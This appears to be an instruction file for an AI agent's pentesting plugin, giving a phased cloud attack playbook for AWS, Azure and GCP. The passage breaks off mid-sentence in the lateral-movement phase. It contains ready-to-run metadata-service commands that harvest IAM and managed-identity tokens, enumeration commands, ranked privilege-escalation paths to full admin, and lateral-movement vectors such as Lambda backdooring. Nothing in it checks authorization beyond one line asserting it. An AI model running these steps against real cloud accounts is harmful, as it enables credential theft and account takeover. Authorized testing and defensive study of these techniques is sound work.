cloud-lateral

Cloud Lateral Movement

Cloud environments expose a fundamentally different attack surface from traditional networks. Identity IS the network -- IAM policies, service accounts, and managed identities replace firewalls and VLANs. A single misconfigured permission can grant access to every resource in an organization. This skill covers the full cloud attack lifecycle across AWS, Azure, and GCP for authorized penetration testing.

Attack Lifecycle

Follow this sequence. Each phase feeds the next -- credential harvesting enables escalation, escalation enables lateral movement, lateral movement discovers new targets.

Initial Access --> Credential Harvesting --> Permission Enumeration --> Privilege Escalation
     |                                                                        |
     v                                                                        v
Data Exfiltration <-- Persistence <-- Lateral Movement <-- Service Abuse

Phase 1 -- Initial Access and Cloud Fingerprinting

Before attacking, determine the cloud provider, account structure, and available attack surface.

Cloud provider indicators:

• AWS: amazonaws.com domains, X-Amz-* headers, arn:aws: patterns, .aws/credentials, 169.254.169.254 IMDS
• Azure: azure.com/windows.net/core.windows.net domains, X-Ms-* headers, Entra ID endpoints, 169.254.169.254 with Metadata: true
• GCP: googleapis.com domains, metadata.google.internal, service account JSON files, X-Goog-* headers

Log detected cloud info immediately:

node "${CLAUDE_PLUGIN_ROOT}/scripts/target-intel.js" add "<target>" "tech-stack" "cloud-provider" "<aws|azure|gcp>" --source scan
node "${CLAUDE_PLUGIN_ROOT}/scripts/target-intel.js" add "<target>" "tech-stack" "cloud-account-id" "<account/subscription/project>" --source scan

Common initial access vectors:

1. SSRF to metadata service (most common cloud-specific vector)
2. Exposed credentials in repos, environment variables, CI/CD pipelines
3. Misconfigured storage buckets (public S3/Blob/GCS)
4. Compromised web application running on cloud compute
5. Leaked AWS keys in GitHub, terraform state, Docker images
6. Cloud-init / user-data containing plaintext secrets

Phase 2 -- Credential Harvesting

The metadata service is the primary credential source from a compromised cloud instance.

See: references/imds-exploitation.md for full IMDS attack techniques, SSRF payloads, IMDSv2 bypass, and container credential endpoints.

Quick credential checks:

# AWS -- IMDSv1
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS -- IMDSv2
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure -- Managed Identity token
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP -- Service account token
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

SSRF to IMDS is a critical finding -- log immediately:

node "${CLAUDE_PLUGIN_ROOT}/scripts/findings-tracker.js" add "<endpoint>" "ssrf" "<param>" "CRITICAL" "SSRF to cloud metadata service -- credential theft confirmed"
node "${CLAUDE_PLUGIN_ROOT}/scripts/techniques-tracker.js" add "curl" "<target>" "imds-credential-harvest" "success" --notes "Extracted <aws|azure|gcp> credentials via IMDS"

Other credential sources:

• Environment variables (AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, GOOGLE_APPLICATION_CREDENTIALS)
• Config files (.aws/credentials, ~/.azure/, ~/.config/gcloud/)
• Terraform state files (terraform.tfstate -- contains plaintext secrets)
• CI/CD pipelines (GitHub Actions secrets, GitLab CI variables)
• Container orchestrator secrets (Kubernetes secrets, ECS task definitions)
• Cloud-init / user-data scripts

Phase 3 -- Permission Enumeration

With credentials in hand, map what you can do before attempting escalation.

Automated enumeration tools:

# AWS -- enumerate-iam (brute-force permission discovery)
python3 enumerate-iam.py --access-key <key> --secret-key <secret> --session-token <token>

# AWS -- pacu (comprehensive AWS exploitation framework)
pacu
# > import_keys <profile>
# > run iam__enum_permissions
# > run iam__enum_users_roles_policies_groups

# Multi-cloud -- ScoutSuite (audit and enumeration)
scout aws --profile <profile>
scout azure --cli
scout gcp --service-account <key.json>

# AWS -- cloudfox (cloud pentesting)
cloudfox aws --profile <profile> all-checks

# AWS -- prowler (security assessment)
prowler aws -p <profile> -M csv

Manual identity checks:

# AWS
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name <user>
aws iam list-attached-role-policies --role-name <role>

# Azure
az account show
az role assignment list --assignee <object-id> --all
az ad signed-in-user show

# GCP
gcloud auth list
gcloud projects get-iam-policy <project-id> --flatten="bindings[].members" --filter="bindings.members:<identity>"

Log enumeration results:

node "${CLAUDE_PLUGIN_ROOT}/scripts/techniques-tracker.js" add "enumerate-iam" "<target>" "iam-enumeration" "<result>" --notes "Discovered <N> permissions on <identity>"
node "${CLAUDE_PLUGIN_ROOT}/scripts/target-intel.js" add "<target>" "credential" "<role/user>" "<permission-summary>" --source scan

Phase 4 -- Privilege Escalation

Cloud IAM privilege escalation is the most impactful phase. A single over-permissioned policy can escalate to full account takeover.

See: references/iam-escalation.md for 21+ AWS paths, Azure Entra ID techniques, GCP IAM abuse, and cross-account escalation.

Priority escalation checks (AWS):

1. iam:CreatePolicyVersion -- write yourself admin
2. iam:AttachUserPolicy / iam:AttachRolePolicy -- attach AdministratorAccess
3. iam:PassRole + lambda:CreateFunction -- create admin Lambda
4. sts:AssumeRole -- pivot to more powerful roles
5. ec2:RunInstances + instance profile -- launch instance with target role

Priority escalation checks (Azure):

1. User Access Administrator -- assign Owner to yourself
2. Application Admin -- add credentials to service principals
3. Automation Account Contributor -- create runbooks with managed identity
4. Key Vault access policy modification

Priority escalation checks (GCP):

1. iam.serviceAccounts.getAccessToken -- impersonate service accounts
2. iam.serviceAccountKeys.create -- create persistent SA keys
3. cloudfunctions.functions.create + iam.serviceAccounts.actAs -- serverless escalation
4. resourcemanager.projects.setIamPolicy -- grant yourself Owner

Log all escalation paths:

node "${CLAUDE_PLUGIN_ROOT}/scripts/findings-tracker.js" add "<service>" "iam-escalation" "<permission>" "CRITICAL" "Cloud privilege escalation via <technique>"
node "${CLAUDE_PLUGIN_ROOT}/scripts/techniques-tracker.js" add "<tool>" "<target>" "iam-privesc" "success" --notes "Escalated from <role> to <role> via <method>"

Phase 5 -- Service Abuse and Lateral Movement

With escalated permissions, abuse cloud services to move laterally across the environment.

See: references/cloud-service-abuse.md for SSM, Lambda, S3, Key Vault, Secrets Manager, and cross-service pivoting.

Key lateral movement vectors:

• AWS: SSM command execution on instances, Lambda function backdooring, cross-account role assumption, VPC peering pivots, Transit Gateway access, ECS/EKS cluster access
• Azure: Azure Automation runbooks, Logic Apps with managed identity, Azure DevOps pipeline injection, AKS cluster access, Cosmos DB cross-region access
• GCP: Cloud Build with elevated SA, Compute Engine SSH via IAP, GKE cluster access, Cloud Functions chaining, Shared VP